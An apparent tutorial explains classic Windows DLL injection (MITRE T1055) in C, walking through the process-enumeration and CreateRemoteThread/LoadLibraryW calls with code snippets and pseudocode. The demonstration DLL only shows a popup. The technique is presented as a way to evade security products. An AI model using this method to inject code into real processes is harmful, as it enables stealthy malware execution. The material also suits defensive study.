Process Injection

Implementing Process Injection in C

Process Injection

What is Process Injection?

According to MITRE ATT&CK T1055 - Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

What’s below?

An overview of process injection written in C and the Windows APIs used to do the following:

  1. Find the target process

  2. Allocate memory within the target process

  3. Write to allocated memory in the target process

  4. Execute the injected DLL from the target process

How is this implemented?

The source file of remote-injection.exe used for this demonstration can be broken down into a two part sequence:

  • Retrieve a handle to the target process

  • Inject malicious DLL into the target process

The aptly named DLL, bad.dll to be injected contains simple code to create a window popup.

What Windows APIs are used?

The following APIs are used by remote-injection.exe to achieve its process injection:

  • DLL Injection Function:

    • GetProcAddress - Retrieves the address of an exported function (also known as a procedure) or variable from the specified dynamic-link library

    • GetModuleHandle - Returns a module handle for the specified module if the file has been mapped into the address space of the calling process.

    • VirtualAllocEx - Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.

    • WriteProcessMemory - Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.

  • Retrieve Handle Function:

    • CreateRemoteThread - Creates a thread that runs in the virtual address space of another process.

    • CreateToolhelp32Snapshot - Takes a snapshot of the specified processes, as well as the heaps, modules, and threads used by these processes.

    • Process32First - Retrieves information about the first process encountered in a system snapshot.

    • Proces32Next - Retrieves information about the next process recorded in a system snapshot.


Retrieving The Target Process Handle

Below is an outline of the function GetHandle which is used to retrieve the target process handle. All peripheral code relating to error handling and other minutiae will be deprecated from the overview.

First we need to define the size of the PROCESSENTRY32 structure to be used which is defined by Microsoft as: An entry from a list of the processes residing in the system address space when a snapshot was taken.

Microsoft specified that the dwSize parameter of this structure needs to be set to sizeof(PROCESSENTRY32) before we use the API Process32First.

// Structure Syntax
typedef struct tagPROCESSENTRY32 {
  DWORD     dwSize;
  DWORD     cntUsage;
  DWORD     th32ProcessID;
  ULONG_PTR th32DefaultHeapID;
  DWORD     th32ModuleID;
  DWORD     cntThreads;
  DWORD     th32ParentProcessID;
  LONG      pcPriClassBase;
  DWORD     dwFlags;
  CHAR      szExeFile[MAX_PATH];
} PROCESSENTRY32;

// Actual use of the structure
PROCESS32ENTRY Proc = {
    .dwSize = sizeof(PROCESSENTRY32)
}

Then we need to take a snapshot of all the running processes on the host:

// Function Syntax
HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);

// Actual use of the function
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

The first argument TH32CS_SNAPPROCESS (dwFlags) ensures that all processes on the system are included in the snapshot. The second parameter (th32ProcessID) is only taken into account when certain flags are used and can be set to NULL for our purpose.

We can now read the first process within the snapshot that was taken using Process32First:

// Function Syntax
BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
);

// Actual use of the function
Process32First(hSnapShot, &Proc)

The first argument is a handle to the snapshot we just took and the second parameter is an address pointer to the PROCESSENTRY32 structure which contains process information such as PIDs and file names.

Now that the first process was iterated we can now use Process32Next for all remaining processes in the snapshot:

// Function Syntax
BOOL Process32Next(
  [in]  HANDLE           hSnapshot,
  [out] LPPROCESSENTRY32 lppe
);

// Actual use of the function
Process32First(hSnapShot, &Proc)

Once the matching process name is found within the list, the function will break.

Below is pseudocode of the function flow:

BOOL GetHandle(Process Name, Process ID, Handle To Process) {

    Snapshot = CreateToolhelp32Snapshot
    if (Snapshot is unsucessful) {
        Error handling;
    }

    View first process here;
    if (Process32First is unsucessful) {
        Error handling;
    }

    do { Process name comparisons and break if a match is found}
    while { There are processes still in the list }

}

Injecting the DLL Into The Target Process

Now we will do the same for the function responsible for the actual process injection.

First we need to retrieve the base address for the LoadLibrary WinAPI:

// Function syntax
FARPROC GetProcAddress(
  [in] HMODULE hModule,
  [in] LPCSTR  lpProcName
);

HMODULE GetModuleHandle (LPCTSTR lpModuleName);

// Actual use of the function(s)
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");

The above nesting of functions is self-explanatory in its mission to retrieve the address of the LoadLibraryW function address located within kernel32.dll. This result is then held within a variable signifying its contents.

Then we need to allocate space within the targeted process to hold our DLL name:

// Function Syntax
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

// Actual use of the function
pAddress = VirtualAllocEx(hProcess, NULL, dwWriteSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

The VirtualAllocEx function returns the base address of the allocated region into the pAddress variable. The first parameter specified out target process. The second parameter can be left NULL as it is used for specifying a starting address for the allocated memory which we don’t need. The third parameter represents the size of the region to allocate. The fourth parameter MEM_COMMIT | MEM_RESERVE is used to reserve and commit the memory in on step. The last parameter sets the allocated memory permissions to PAGE_READWRITE which is requited for dynamic memory.

Quick Memory Allocation Type Explanation:

  • Reserved - Amount of memory reserved by the memory manager

  • Committed - Reserved memory is use which becomes valid pages in physical memory once accessed

Once we have allocated the necessary memory we can write the DLL name to it:

// Function Syntax
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

// Actual use of the function
WriteProcessMemory(hProcess, pAddress, Dll, dwWriteSize, &lpWrittenBytes)

The first and second parameter specify the target process and the address of the allocated memory, respectively. The third parameter specifies the full DLL path that’s going to be injected. The fourth represents the number of bytes to write. Lastly, we have the parameter which should be a pointer to a variable that receives the number of bytes transferred into the specified process.

Now we can create the remote thread for LoadLibrary:

// Function Syntax
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

// Actual use of the function
hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);

The only parameters specified in this function call are the handle to the target process, the pointer to the LoadLibraryW function and the pointer to the address of the allocated memory.

Below is pseudocode of the function flow:

BOOL InjectDll {
    Initlization of needed variables such as pAddress here;

    pLoadLibrary = GetProcAddress(GetModuleHandle))
    if (GetProcessAddress is unsucessful) {
        Error handling;
    }

    pAddress = VirtualAllocEx
    if (VirtualAllocEx is unsucessful) {
        Error handling;
    }

    Write Process Memory here;
    if (WriteProcessMemory is unsucessful) {
        Error handling;
    }

    hThread = CreateRemoteThread
    if (CreateRemoteThread is unsucessful) {
        Error handling;
    }
}

Demonstration

  1. Memory Allocation

  1. Writing into memory

  1. Running the payload